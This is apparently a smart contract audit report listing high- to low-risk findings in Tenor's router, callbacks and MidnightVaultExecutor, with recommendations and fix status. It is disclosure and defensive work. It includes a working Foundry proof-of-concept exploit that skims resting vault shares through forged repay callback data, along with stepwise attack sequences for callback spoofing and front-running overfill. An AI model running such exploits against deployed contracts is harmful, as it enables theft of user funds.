Organization
- @tenor
Engagement Type
Cantina Reviews
Period
-
Researchers
Findings
High Risk
2 findings
2 fixed
0 acknowledged
Medium Risk
3 findings
3 fixed
0 acknowledged
Low Risk
30 findings
15 fixed
15 acknowledged
Informational
14 findings
4 fixed
10 acknowledged
High Risk3 findings
MarketMakingPolicy picks the desired market info in reverse.
State
- Fixed
PR #512
Severity
- Severity: High
≈
Likelihood: High×
Impact: High Submitted by
Saw-mon and Natalie
Description
MarketMakingPolicyis supposed to work with two callbacks:LendMidnightToVaultCallbackLendVaultToMidnightCallback
Analysing the
Midnight → IntentSettler → MigrationIntentRatifier() for amakerone can deduce that:- when there is buy offer,
offerIsBuy == truethus (implicitly) one can only deal with (the offer callback needs anonBuyendpoint) thus should pick thetargetparameters. - when there is sell offer,
offerIsBuy == falsethus (implicitly) one can only deal with (the offer callback needs anonSellendpoint) thus should pick thesourceparameters.
In both cases the picked parameters correspond to the
offer.market(its maturity and its derived tenor market id).Recommendation
The current order only matches take on behalf flows where the user is the taker. The current design needs to be derived from the shape of the callback used for the user so that it would work whether the user is the maker or taker. The important factor to asses is whether the user is the buyer or the seller (which might not directly correlate to the offer).
MarketMakingPolicy doesn't load the correct curves
State
- Fixed
PR #512
Severity
- Severity: High
≈
Likelihood: High×
Impact: High Submitted by
Saw-mon and Natalie
Description
MarketMakingPolicyis supposed to work with two callbacks:LendMidnightToVaultCallbackLendVaultToMidnightCallback
Analysing the
Midnight → IntentSettler → MigrationIntentRatifier() for amakerone can deduce that:- when there is buy offer,
offerIsBuy == truethus (implicitly) one can only deal with due to how the policy rate invariants are applied to the modified offer tick prices one would expect to load the buy rate curves which have higher rates compared to the sell rate curves. This would imply that given the exact same parameters the price zones where one can select the buy and sell prices would be disjoint and potentially allowing maker making to extract values. - when there is sell offer,
offerIsBuy == falsethus (implicitly) one can only deal with and the scenario should be the reverse of the above.
Currently the curves are loaded in the reverse order.
Recommendation
Make sure to load:
- buy rates curves when the user is the buyer
- sell rates curves when `the user is the seller
The above might not directly correlate to the offer. It depends directly to the callback's shape used by the user.
Footnote
Desired invaraint for market making:
Fee adjustments are incorrectly applied after dispatch in TenorRouter
State
- New
Severity
- Severity: High
≈
Likelihood: High×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
Execution endpoints in
TenorRouterenforces that all the actions for the execution to belong to only one of the following groups:symbol set description 3rd party take-on-behalf for buy offers, sell intents(initiator is neither the maker or take) 3rd party take-on-behalf for sell offers , buy intents (initiator is neither the maker or take) This set includes 2 groups. One is 1st party take-on-behalf buy offers where the initiator is the maker and a second group which is also 1st party but midnight take sell offer where the initiator is the taker. In both groups, the initiator is a buyer This set includes 2 groups. One is 1st party take-on-behalf sell offers where the initiator is the maker and a second group which is also 1st party but midnight take buy offer where the initiator is the taker. In both groups, the initiator is a seller - In or , the fill asset axis aligns with whether the initiator is the buyer or seller.
- In or , the fill asset axis aligns with whether all the the intent users are sellers or buyers. For 3rd party action bundles, all intent users should be on the same side of the
take(...)settlement.
The fee adjustments currently only derived and adjusted to raw totals (in the fill axis dimension) based on the offer direction which assumes that the initiator is always the
taker. But this is not correct in general. For example for 1st party action bundles the initiator can either be themakeror thetaker. When take-on-behalf actions are settled, the initiator is themakerand so the fee adjustment should align with the offer direction (not flipped).The main goal of calculating
totalsis to perform slippage protection for the initiator.Recommendation
The conditional checks to derive and apply fee adjustment after dispatch should use the fill asset axis to branch in the correct direction.
NoteThe above is conditional on the fact that when the
makeris the initiator, it should set the fee rate to the correct value if using on of the Tenor callbacks (in this case, the initiator/makerwould use theIntentSettlerandMigrationIntentRatiferas its ratification flow throughMidnight). If not, it would make sense to use0for thefeeRateas the callback used by themakeris not enforced to be one of the migration callbacks unless themaker/initiator also uses theMigration...Ratifierthat restricts the callbacks to those set of 6.Footnote
In general the slippage checks for 3rd party action bundles with different intent users (takers) might not make that much sense, although the initiator can enforce it.
Medium Risk5 findings
Trading fee should not be applied to midnight prices for all routes in new{Buyer,Seller}Price
State
- Fixed
PR #514
Severity
- Severity: Medium
≈
Likelihood: High×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
callback offer type symbol BorrowBlueToMidnightCallbacksell BorrowMidnightRenewalCallbacksell BorrowMidnightToBlueCallbackbuy LendMidnightRenewalCallbackbuy LendMidnightToVaultCallbacksell LendVaultToMidnightCallbackbuy The invaraint check performed in
_ratifyRate:if (!PriceLib.satisfiesRateLimit( userIsBuy, effUnitsPerWad, effPrice, 0, params.limitRatePerSecond, policyRate, duration )) revert InvalidOfferRate();For the case of a
makerin the routeMidnight → IntentSettler → MigrationIntentRatifierbecomes:The midnight prices calculated in
RouterLib.netBuyerPriceandRouterLib.netSellerPriceare:whereas in
Midnightthe seller and buyer prices for a maker are just . The final amounts paid or received including the Tenor callback fee rates are:and as one can see the prices applied in the actual paths don't involve the trading fee in this specific maker route.
(regarding the red term for the lower bound for sell offers refer to Finding 17)
Recommendation
Make sure the trading fee is not applied in the route mentioned above. It should be only applied for taker settlement.
beforeDispatch does not consider the scenario where the maker could have also used the migration intent ratifier
State
- New
Severity
- Severity: Medium
≈
Likelihood: High×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
beforeDispatchdoes not consider:- the scenario where the maker (being equal to the initiator) for 1st party take-on-behalf actions could have also used the migration intent ratifier.
- also for the taker being the initiator for 1st party midnight take. The taker might not necessarily use the migration intent ratifier. But here
affectsFillassumes that the taker does use the migration intent ratifier. - for 3rd party actions fee adjustment hooks might not make that much sense (there are some special cases that it might).
Recommendation
For better approach regarding fee adjustment refer to Finding #29.
Incorrect rounding directions used in _maxUnitsInterest
State
- New
Severity
- Severity: Medium
≈
Likelihood: High×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
when the
initiatorthe buyer, the buyer asset is:and when the seller, the seller asset is
where is the adjusted price according to the formulas in the footnote. Given a budget and the adjusted price one should solve:
- initiator is the buyer:
- initiator is the seller:
There are a few issues:
- the solution to both of the above problems is given by
- Trading fee is always taken into consideration when calculating .
Recommendation
- Depending on the fill axis use either
mulDivDownInverseormulDivUpInversefromClampLib. - Only include trading fees in
netBuyerPriceandnetSellerPricewhen the fill axis dimension opposes the offer type. (related to Finding #19)
Footnote
Frontrunning can cause executeAndConsume to overfill
Description
TenorRouterAdapterBase.executeAndConsume()is meant to let an user run a route and then charge the filled amount against a self-imposed consume group limit. This is useful when the same user wants a single aggregate limit across:- standing offers where the user is the maker, and
- an immediate router path where the user/adapter initiator is the taker.
The maker and taker sides are not symmetric. When someone takes the user's standing offer, Midnight already enforces that offer's own
maxUnitsormaxAssetsand incrementsconsumed[offer.maker][offer.group]. That maker-side fill is correctly bounded by the standing offer's limits.The gap is on the
executeAndConsume()route, where the user is the initiator/taker. After the route has executed, the adapter only adds the taker-side route fill to the current consumed value:consumed[initiator][consumeGroup] += rawTotals[fillIndex]It never snapshots the pre-route value of
consumed[initiator][consumeGroup], and it never enforces a caller-supplied final cap such asmaxConsumedAfter, and the route does not reserve or enforce the remaining capacity inconsumeGroupbefore execution.Therefore, if the user's maker-side standing offer is filled first, the later
executeAndConsume(..., consumeGroup)call still adds the full taker-side route fill. The finalconsumed[user][G]can becomepriorMakerFill + routeTakerFill.It is also important to note that there is no notion of a maximum commitment on the taker side, so the system never has a cap to enforce here.
Sequence of events
Assume the victim wants an aggregate cap of
100e18units across both a standing sell offer and a spot route, all tagged with the same groupG.- The victim has a resting sell offer in group
GwithmaxUnits = 100e18. In this leg the victim is the maker. The victim also submits anexecuteAndConsume(..., G)transaction for a spot route where the victim/initiator will be the taker. - Before the victim's
executeAndConsume()transaction is processed, anyone callsMidnight.takeon the victim's standing offer for70e18. This is permissionless and expected. Midnight enforces the standing offer'smaxUnitsand recordsconsumed[victim][G] = 70e18. - The victim's
executeAndConsume(..., G)transaction then executes the taker-side spot route for another70e18. The victim's intent is that only30e18of the group limit should remain available, butexecuteAndConsume()exposes no parameter (e.g. amaxConsumedAfter) for the victim to enforce that on the taker leg. It unconditionally setsconsumed[victim][G] = 70e18 + 70e18 = 140e18. - The total filled volume across group
G(maker leg + taker leg) reaches140e18, even though the victim wanted the same100e18limit to apply to the group as a whole. Because the taker side has no cap to enforce, the route does not revert, and the victim has no way to prevent the combined total from exceeding the limit they expressed on the maker side.
Impact
The victim can execute more aggregate volume across the shared consume group than they intended.
The root cause of this issue is that there is no notion of maxAssets and maxUnits for when initiator is the taker. The maker and taker roles are not fully symmetric.
Recommendation
Add a
maxConsumedAfterparameter. After the route fills, compute the would-be new value and revert if it exceeds the cap the user committed to.1st party actions bundles' rawTotals can be an aggregate of taker and maker fills
State
- Fixed
PR #550
Severity
- Severity: Medium
≈
Likelihood: High×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
For 1st party action bundles, the
initiatorcan be the:- maker: which in the
take(...)its updatesconsumed[initiator][offer_i.group](). Also note max caps are getting enforced here (even though not ratified by for exampleMigrationIntentRatifier, other ratifiers might ratify these caps. In this context does not fully matter since it must have been intended by theinitiator, unless some inner callback intoMidnighthas forced it in without fullinitiatorauthorisation). - taker: which does NOT update
The value of
rawTotals[fillIndex]would be the aggregate of fills from 1. and 2..parameter description the take(...)calls/events stemmed from the top callexecuteAndConsumewhere the initiator is maker (might include inner callbacks)the take(...)calls/events stemmed from the top callexecuteAndConsumewhere the initiator is maker and are part of this top call action bundle dispatchesthe take(...)calls/events stemmed from the top callexecuteAndConsumewhere the initiator is taker (might include inner callbacks)the take(...)calls/events stemmed from the top callexecuteAndConsumewhere the initiator is taker and are part of this top call action bundle dispatchesiterating over all fill amounts in this event set where fill index is iterating over all fee adjustment amounts in this event set where fill index is We have:
so:
Assuming all inner calls use the same groups we know that the consumed amount for the initiator in this group gets updated for :
then finally based on the implementation adding
rawTotals[fillIndex]() will give us:The final value:
Recommendation
Option 1
- make sure . This might be hard to guarantee since the inner callbacks might get complex
- instead of the current
totalsandrawTotals, aggregate values in 10 different baskets - make sure all the groups used in are the same or bucket the above aggregations for only the target group
consumeGroup.
Then add to the (potentially updated in the inner calls) . This would avoid double-counting for when the initiator is the maker.
Option 2
- make sure . This can be checked by making sure the value of does not change when queried before and after the
_executeResolvingSentinels(...)call.NoteThe above requirement does not imply that either one of or to be empty.
- The offers in those events might use different groups other than
consumeGroupOR - Even if
consumeGroupis the same the fill amount might be due to some roundings.
- The offers in those events might use different groups other than
- make sure . This might be hard to guarantee due to complex nested callbacks. The lack of this check only implies that the the group consumption would only for the
take(...)events in . - introduce a symmetric max cap check for group consumption (just like the
offer.makerchecks in `Midnight). Refer to Finding 50 for this.
Cantina
The fix provided in PR #550:
- ❌ does not guarantee: . This would be something to take note of.
- ✅ Makes sure only 1st party action bundles can be used with
executeAndConsume. - ✅ Uses the following aggregation buckets:
WarningtakerRawTotals[...]parameter could have a misleading name for 3rd party actions with the new aggregation mechanism conditioned byaction.offer.maker != initiator.Footnote
The group consumption symmetrisation for mixing
makerandtakerroles for aninitiatordoes not take into account the fee adjustments. Perhaps this can be documented.
Low Risk30 findings
Minor issues
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description/Recommendation
- StaticRatePolicy.sol#L26: Might be useful to emit an event with all configured parameters in
StaticRatePolicy.constructor(...) - MarketMakingPolicy.sol#L29: Might be useful to emit an event with
morphoMidnightas one of the parameters. - OracleWithValidation.sol#L48-L59: Might be useful to emit an event with the constructor parameters.
- ClampLib.sol#L105: the first 2 parameters of
maxUnitsForBudget(...)are not used. Moreover, this utility function is only used in test files. - BorrowBlueToMidnightCallback.sol#L31-L34, BorrowMidnightRenewalCallback.sol#L31-L34, BorrowMidnightToBlueCallback.sol#L34-L37, LendMidnightRenewalCallback.sol#L26-L29, LendMidnightToVaultCallback.sol#L26-L28, LendVaultToMidnightCallback.sol#L22-L24, MidnightSupplyCollateralCallback.sol#L27-L29, MidnightSupplyVaultSharesCallback.sol#L32-L34, MidnightWithdrawVaultSharesCallback.sol#L24-L26, IntentSettler.sol#L29, BaseMigrationRatifier.sol#L52-L70, MidnightVaultExecutor.sol#L35, TenorRouter.sol#L126-L128, AuthorizationAdapter.sol#L31-L32, MidnightAdapterBase.sol#L26-L29, MigrationIntentRatifierAdapterBase.sol#L17: emit constructor parameters in an event.
- BorrowMidnightToBlueCallback.sol#L83-L84: This crossing check can be hoisted up to the top of the
onBuycallback. - ILendVaultToMidnightCallback.sol#L22:
morphoBlueMarketIdis not used inLendVaultToMidnightCallbackand perhaps can be removed. - IntentSettler.sol#L57-L58, IntentSettler.sol#L75-L76: Best to check a magic return value like
keccak256("tenor.vN.onIntentRatify.success")whereNcan be the version number. - PriceLib.sol#L16:
pricecould end up being0for high values ofratePerSecond * durationSeconds. So the range should be corrected to[0, WAD]. - PriceLib.sol#L54-L55:
satisfiesRateLimitis only used in_ratifyRatewhereeffUnitsPerWadis fed in forunits,effPriceforassetsand0forfee. The interface forsatisfiesRateLimitshould be updated to account for these changes and remove ambiguities. NatSpec would need to be corrected accordingly as well. - MidnightVaultExecutor.sol#L52, MidnightVaultExecutor.sol#L90:
depositAndAddCollateralonly requires that the market's collateral in that specific index matches the vault. One can remove the extra requirement for this specific endpoint that the market loan token should match the vault's underlying asset to allow for wider usage. The same argument applies towithdrawCollateralAndRedeem. - TenorRouter.sol#L126: Check
intentSettleris connected to the samemidnightcontract. - TenorRouter.sol#L417: Check
action.feeAdjusteris connected to the samemidnightcontract as theTenorRouter. One can also passmidnighttoaction.feeAdjuster. - TenorRouter.sol#L273: In
BatchExecutedit might be useful to emit other parameters such as touched/filled/partially filled actions (since some actions might get skipped). - AuthorizationAdapter.sol#L32: Make sure the
INTENT_SETTLERis connected to the sameMORPHO_MIDNIGHTcontract. - MidnightAdapterBase.sol#L92, MidnightAdapterBase.sol#L105:
MidnightAdapterBase'smidnightWithdrawCollateralwithdraws into the adapter. The initiator needs to be aware to this to make sure to uses these tokens and don't leave them in the adapter as they can be re-used/skimmed by other users. Same argument applies tomidnightWithdraw. It could also marginally be documented formidnightFlashLoan. - TenorAdapter.sol#L17: Make sure
ratifieris connected to the samemorphoMidnightcontract. - BaseMigrationRatifier.sol#L64-L69: Make sure the callbacks are connected to the same
morphoMidnightcontract. - IMidnightSupplyCollateralCallback.sol#L13-L15:
IMidnightSupplyCollateralCallbackneeds an accompanying ratifier to enforce the rule forofferSellerAssets. - MidnightAdapterBase.sol#L202-L206: The comment regarding re-entering into the
Bundler3is a bit vague as there could be scenarios were midnight take calls could be nested (not parallel). - MigrationIntentRatifier.sol#L98: Add comment to clarify why the check is needed:
// `intent.data` selects the user's stored params, while callback data selects the// migration that will actually execute. Keep them bound so a caller cannot ratify one// tuple's params and pass callback data for another tuple into Midnight.- IntentSettler.sol#L58:
onBehalfis passed as thecallertoMigrationIntentRatifierwhich gets passed to the rate policy. But the current rate policies don't use this parameter. - MarketMakingPolicy.sol#L67: Rename
takertouseror perhapstrader(similar rewording can apply to other spots in the codebase). - BaseMigrationRatifier.sol#L334: The comment regarding does not make sense. The implemented logic assumes all the pending fees can be taken from the credit.
- MidnightAdapterBase.sol#L53: Unlike other endpoints
midnightRepayreturns whenunits == 0instead of reverting.
Cantina
Based on commit
6f6f7d7728584cc2be6f75caf38a2ead3d72c209we have:Item Notes Fixed 1 ❌ 2 ❌ 3 ❌ 4 maxUnitsForBudgetis removed✅ 5 ❌ 6 ❌ 7 ?? why not removed? ❌ 8 ❌ 9 ?? range in comment not fixed ❌ 10 ✅ 11 still strict checks. wider range of operations cannot be used ❌ 12 ❌ 13 ❌ 14 ❌ 15 ❌ 16 Fixed by supplying a receiver. But not documented formidnightFlashLoan.✅ 17 ❌ 18 ❌ 19 documented more ✅ 20 ❌ 21 ❌ 22 ❌ 23 ✅ 24 ✅ 25 ❌ Missing receiver validation lets keepers skim donated BorrowBlueToMidnightCallback balances
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: High×
Impact: Low Submitted by
Saw-mon and Natalie
Description
BorrowBlueToMidnightCallback.onSellassumes that Midnight sentsellerAssetsto the callback before the hook runs, but it ignores thereceiverargument that proves where those assets were actually sent. In Midnight, the seller-side receiver is chosen fromreceiverIfTakerIsSelleroroffer.receiverIfMakerIsSeller, thensellerAssetsare transferred to that receiver beforeonSellis called.The callback then pays the configured fee and repays Morpho Blue using the callback contract's current loan-token balance. If a keeper supplies a receiver other than the callback, the trade proceeds are sent to that receiver, while the callback can still repay from any loan tokens previously donated or stranded on the callback. This breaks the non-custodial invariant for stranded balances: anyone who can execute an otherwise valid migration can redirect the fresh
sellerAssetsand consume the callback's existing balance instead.Recommendation
Validate the
receiverargument inBorrowBlueToMidnightCallback.onSell, reverting unlessreceiver == address(this)before paying fees or approving Morpho Blue. Apply the same receiver invariant to any other sell-side callback whose accounting requiressellerAssetsto have arrived at the callback address before the hook executes.Make sure receiver is not the MidnightSupplyCollateralCallback
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: High Submitted by
Saw-mon and Natalie
Description/Recommendation
To avoid mistakes, it would be best to add a check in
MidnightSupplyCollateralCallback.onSellto make sure thereceiverwould not be this contract. Or at least document this to avoid locked funds.Unused vault shares should be supplied back as collateral
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
Based on
IERC4626specs, the amount returned bypreviewWithdraw(...)sharesToWithdrawmight be bigger than the actual amount of shares burnt whenwithdraw(...)is called.Recommendation
Any unused surplus vault shares should be re-supplied back as collateral in midnight:
diff --git a/src/callbacks/MidnightWithdrawVaultSharesCallback.sol b/src/callbacks/MidnightWithdrawVaultSharesCallback.solindex 94f86bd6..5ba4d220 100644--- a/src/callbacks/MidnightWithdrawVaultSharesCallback.sol+++ b/src/callbacks/MidnightWithdrawVaultSharesCallback.sol@@ -3,6 +3,7 @@ pragma solidity 0.8.34; import {IMidnight, Market} from "@midnight/interfaces/IMidnight.sol";+import {UtilsLib} from "@midnight/libraries/UtilsLib.sol"; import {IMidnightWithdrawVaultSharesCallback} from "./interfaces/IMidnightWithdrawVaultSharesCallback.sol"; import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol"; import {CALLBACK_SUCCESS} from "@midnight/libraries/ConstantsLib.sol";@@ -45,7 +46,13 @@ contract MidnightWithdrawVaultSharesCallback is IMidnightWithdrawVaultSharesCall MORPHO_MIDNIGHT.withdrawCollateral(market, callbackData.collateralIndex, sharesToWithdraw, buyer, address(this)); - IERC4626(callbackData.vault).withdraw(buyerAssets, address(this), address(this));+ uint256 sharesUsed = IERC4626(callbackData.vault).withdraw(buyerAssets, address(this), address(this));++ uint256 surplusShares = UtilsLib.zeroFloorSub(sharesToWithdraw, sharesUsed);+ if (surplusShares > 0) {+ // Return surplus shares to borrower as collateral on Midnight+ MORPHO_MIDNIGHT.supplyCollateral(market, callbackData.collateralIndex, surplusShares, buyer);+ } IERC20(market.loanToken).forceApprove(msg.sender, buyerAssets);Notesimilar issue exists in
MidnightVaultExecutor.depositAndAddCollateral(...)Morpho Midnight has a new interface
State
- Acknowledged
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
Morpho Midnight has a new interface.
Recommendation
Make sure to update the input parameters for:
take(...)ILiquidateCallbackIFlashLoanCallback- trading fee is renamed to settlement fee. Thus exposed endpoints have different names now.
NoteOne might also need to check that the directly used libraries, utility functions or other derivation assumptions also match the up to date upstream Morpho contracts.
Cantina
This finding is marked as acknowledged since
Midnightchanges are live and new changes are still getting applied. This finding should be taken as a caution to make sure to apply necessary changes to sync to the latest version ofMidnight.Check the immutable callbacks are connected to the same morpho contracts as the ratifier
State
- Acknowledged
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
Checks are missing in
BaseMigrationRatifier.constuctorto make sure the assigned immutable callbacks are connected to the same:- Morpho midnight market
- Morpho blue market
Recommendation
Make sure the above checks are performed. One would need to also add these to the relevant callback interfaces. One would also need to provide morpho blue contract address to
BaseMigrationRatifier.constuctorto perform these additional checks (migtht be useful to also store as a public immutable).Invalidated repay callback data lets attackers skim resting MidnightVaultExecutor vault shares
State
- Fixed
PR #613
Severity
- Severity: Low
≈
Likelihood: High×
Impact: Low Submitted by
Saw-mon and Natalie
Description
MidnightVaultExecutor.onRepaytrusts thevaultandcollateralIndexvalues decoded from arbitrary Midnight repay callback data. Unlike the publicrepayAndWithdrawCollateralentrypoint and the liquidation callback,onRepaydoes not validate that the decoded vault is the collateral token atmarket.collateralParams[collateralIndex]or that the vault asset matchesmarket.loanToken.An attacker can call
Midnight.repaydirectly withunits == 0, set the executor as the callback, and provide attacker-controlled encoded callback data. Midnight only requires the caller to be authorized for the suppliedonBehalf; the attacker can satisfy this for their own account. During the callback, the executor withdraws the attacker's unrelated fake collateral from the fake market, but then redeems shares from the attacker-suppliedvaultaddress using the executor as owner. If the executor holds resting shares of that vault, those shares are redeemed to the attacker-controlledcallerwhenevercallbackDatais non-empty.This breaks the executor's pass-through balance invariant. Any vault shares accidentally transferred to, donated to, or otherwise left on the executor can be skimmed permissionlessly without repaying debt and without using a market whose collateral is connected to the vault being redeemed.
NoteThe above scenario also includes nested callbacks were if in an upper frame due to some price slippage
someone/MidnightVaultExecutorwould have received more shares, these extra shares could be taken out atomically in potentially nested inner callbacks.PoC
A custom Foundry test was added in
test/audit/MidnightVaultExecutorDirectRepaySkim.t.sol// SPDX-License-Identifier: BUSL-1.1// Copyright (c) 2026 Les entreprises shippooor inc.pragma solidity ^0.8.24; import {Test} from "forge-std/Test.sol"; import {MidnightVaultExecutor} from "../../src/periphery/MidnightVaultExecutor.sol";import {Midnight} from "@midnight/Midnight.sol";import {IRepayCallback} from "@midnight/interfaces/ICallbacks.sol";import {IMidnight, Market, CollateralParams} from "@midnight/interfaces/IMidnight.sol";import {CALLBACK_SUCCESS} from "@midnight/libraries/ConstantsLib.sol";import {IdLib} from "@midnight/libraries/IdLib.sol"; import {MockERC20} from "../helpers/mocks/MockERC20.sol";import {MockERC4626} from "../helpers/mocks/MockERC4626.sol";import {computeMaxLif} from "../helpers/MaxLifLib.sol"; contract DirectRepaySkimmer is IRepayCallback { IMidnight public immutable midnight; MidnightVaultExecutor public immutable executor; MockERC20 public immutable fakeCollateral; address public immutable vault; constructor(IMidnight _midnight, MidnightVaultExecutor _executor, MockERC20 _fakeCollateral, address _vault) { midnight = _midnight; executor = _executor; fakeCollateral = _fakeCollateral; vault = _vault; } function skim(Market memory fakeMarket, uint256 sharesToSkim) external { fakeCollateral.approve(address(midnight), sharesToSkim); midnight.setIsAuthorized(address(executor), true, address(this)); midnight.supplyCollateral(fakeMarket, 0, sharesToSkim, address(this)); bytes memory callbackData = abi.encode( vault, uint256(0), sharesToSkim, uint256(0), address(this), bytes("non-empty: redeem to this contract") ); midnight.repay(fakeMarket, 0, address(this), address(executor), callbackData); } function onRepay(bytes32, Market memory, uint256, address, bytes memory) external pure returns (bytes32) { return CALLBACK_SUCCESS; }} contract MidnightVaultExecutorDirectRepaySkimTest is Test { uint256 internal constant LLTV = 0.77e18; Midnight internal midnight; MidnightVaultExecutor internal executor; MockERC20 internal underlying; MockERC20 internal fakeCollateral; MockERC4626 internal vault; DirectRepaySkimmer internal attacker; function setUp() public { midnight = new Midnight(); midnight.setFeeClaimer(address(this)); executor = new MidnightVaultExecutor(address(midnight)); underlying = new MockERC20("Underlying", "UND", 18); fakeCollateral = new MockERC20("Fake collateral", "FAKE", 18); vault = new MockERC4626(address(underlying), "Vault Shares", "vUND"); attacker = new DirectRepaySkimmer(IMidnight(address(midnight)), executor, fakeCollateral, address(vault)); } function test_DirectMidnightRepaySkimsRestingExecutorVaultShares() public { uint256 restingShares = 100e18; uint256 sharesToSkim = 40e18; underlying.mint(address(this), restingShares); underlying.approve(address(vault), restingShares); vault.deposit(restingShares, address(executor)); assertEq(vault.balanceOf(address(executor)), restingShares, "executor starts with resting vault shares"); fakeCollateral.mint(address(attacker), sharesToSkim); Market memory fakeMarket = _fakeMarket(); bytes32 fakeMarketId = IdLib.toId(fakeMarket, block.chainid, address(midnight)); attacker.skim(fakeMarket, sharesToSkim); assertEq(vault.balanceOf(address(executor)), restingShares - sharesToSkim, "executor vault shares skimmed"); assertEq(underlying.balanceOf(address(attacker)), sharesToSkim, "attacker receives redeemed assets"); assertEq( fakeCollateral.balanceOf(address(executor)), sharesToSkim, "executor receives unrelated dummy collateral" ); assertEq(midnight.collateral(fakeMarketId, address(attacker), 0), 0, "fake collateral position withdrawn"); } function _fakeMarket() internal view returns (Market memory) { CollateralParams[] memory collaterals = new CollateralParams[](1); collaterals[0] = CollateralParams({ token: address(fakeCollateral), lltv: LLTV, maxLif: computeMaxLif(LLTV), oracle: address(0) }); return Market({ loanToken: address(underlying), collateralParams: collaterals, maturity: block.timestamp + 30 days, rcfThreshold: 0, enterGate: address(0), liquidatorGate: address(0) }); }}and passes with:
forge test --match-path test/audit/MidnightVaultExecutorDirectRepaySkim.t.sol -vvvThe test:
- Seeds
MidnightVaultExecutorwith resting ERC4626 vault shares. - Creates a fake Midnight market whose only collateral is an unrelated dummy ERC20.
- Has the attacker authorize the executor, supply the dummy collateral, and call
Midnight.repay(fakeMarket, 0, attacker, address(executor), callbackData). - Encodes
callbackDatawith the real vault address,sharesToWithdraw, the attacker ascaller, and non-empty forwarded callback data. - Observes that the executor's vault-share balance decreases, the attacker receives redeemed underlying, and the executor only receives the unrelated dummy collateral from Midnight.
The repayment amount is zero; the exploit is driven entirely by the unvalidated encoded callback data.
Recommendation
Validate the decoded repay callback data before withdrawing collateral or redeeming shares. In
onRepay, callCallbackLib.validateVaultCollateral(market, vault, market.loanToken, collateralIndex)after decoding and beforeMORPHO_MIDNIGHT.withdrawCollateral. This makes the repay callback enforce the same vault-market relationship asrepayAndWithdrawCollateralandonLiquidate.Footnote
-
MidnightVaultExecutor.sol#L123-L126: Moreover, resting token balances can also be skimmed from the
MidnightVaultExecutorby callingrepayAndWithdrawCollateralwith0as the providedrepayUnits(and0forsharesToWithdrawor any number for a fake market and vault and just let the end logic transfer the token balance:uint256 dust = IERC20(market.loanToken).balanceOf(address(this));if (dust > 0) { IERC20(market.loanToken).safeTransfer(onBehalf, dust);}
Direct Midnight repay callbacks can spoof the MidnightVaultExecutor callback initiator
State
- Fixed
PR #510
Severity
- Severity: Low
≈
Likelihood: Medium×
Impact: Low Submitted by
Saw-mon and Natalie
Description
MidnightVaultExecutor.repayAndWithdrawCollateralencodesmsg.senderascallerbefore callingMidnight.repay, so the executor's forwardedIRepayCallback(caller).onRepay(...)appears intended to return control to the contract that initiated the high-level executor flow. However,MidnightVaultExecutor.onRepayis also reachable from any directMidnight.repay(market, units, onBehalf, address(executor), data)call. Midnight only checks that the direct caller isonBehalfor is authorized foronBehalf; it does not prove that the callback data was produced byrepayAndWithdrawCollateral.As a result, any authorized direct Midnight repayer can choose the encoded
caller,callbackData,market,units, andonBehalfvalues that the executor forwards to the inner callback. WhencallbackDatais non-empty, the executor redeems the withdrawn vault shares to the encodedcallerand then callsIRepayCallback(caller).onRepay(id, market, units, onBehalf, callbackData).This creates a confused-deputy boundary for callback implementers. A callback target that allowlists
MidnightVaultExecutoror assumes that an executor-originatedonRepaycall corresponds to its own priorrepayAndWithdrawCollateralrequest can be invoked with attacker-chosen parameters instead. Depending on the callback's implementation, this can make it spend its own balances or allowances, execute swaps, consume internal accounting state, or otherwise act on repay parameters that were never selected by that callback target.The issue is distinct from the unvalidated-vault share skim: even if the decoded vault and collateral index are validated, the encoded
calleris still unauthenticated unless the executor can prove that the callback was entered through its own public entrypoint.PoC
- A victim contract implements
IRepayCallbackand trusts calls fromMidnightVaultExecutoras callbacks for repayment operations it initiated. - An attacker is authorized for some
onBehalfaccount on Midnight, for example their own account or a delegated account. - The attacker calls
Midnight.repay(market, units, onBehalf, address(executor), data)directly, withdataABI-encoded as(vault, collateralIndex, sharesToWithdraw, minSharePriceE27, victimCallback, attackerChosenCallbackData). - Midnight calls
MidnightVaultExecutor.onRepaybecause the executor was supplied as the callback. - The executor decodes
victimCallbackascaller, redeems the withdrawn shares to that address, and callsvictimCallback.onRepay(id, market, units, onBehalf, attackerChosenCallbackData). - The victim callback observes
msg.sender == address(executor)and may execute privileged repay logic even though it did not initiate the repayment and did not choose the forwarded parameters.
Recommendation
Authenticate the callback data used by
onRepayinstead of treating the decodedcalleras self-authenticating. For example, store a transient commitment keyed by the Midnight market id,onBehalf,units, and a hash of the executor-generated callback data before callingMidnight.repayfromrepayAndWithdrawCollateral, then consume that commitment inonRepaybefore invoking the forwarded callback.If direct Midnight repay entry into the executor is meant to remain supported, require the forwarded callback target to opt in explicitly, such as by verifying an EIP-712 signature from
callerover the exact forwarded parameters. In all cases, document that downstreamIRepayCallbackimplementations must not rely onmsg.sender == address(MidnightVaultExecutor)alone as proof that they initiated the repay flow.Direct Midnight liquidate callbacks can spoof the MidnightVaultExecutor callback initiator
State
- Fixed
PR #518
Severity
- Severity: Low
≈
Likelihood: High×
Impact: Low Submitted by
Saw-mon and Natalie
Description/Recommendation
This is similar to Finding #10. But the fix can be more simple since midnight provides the caller to the
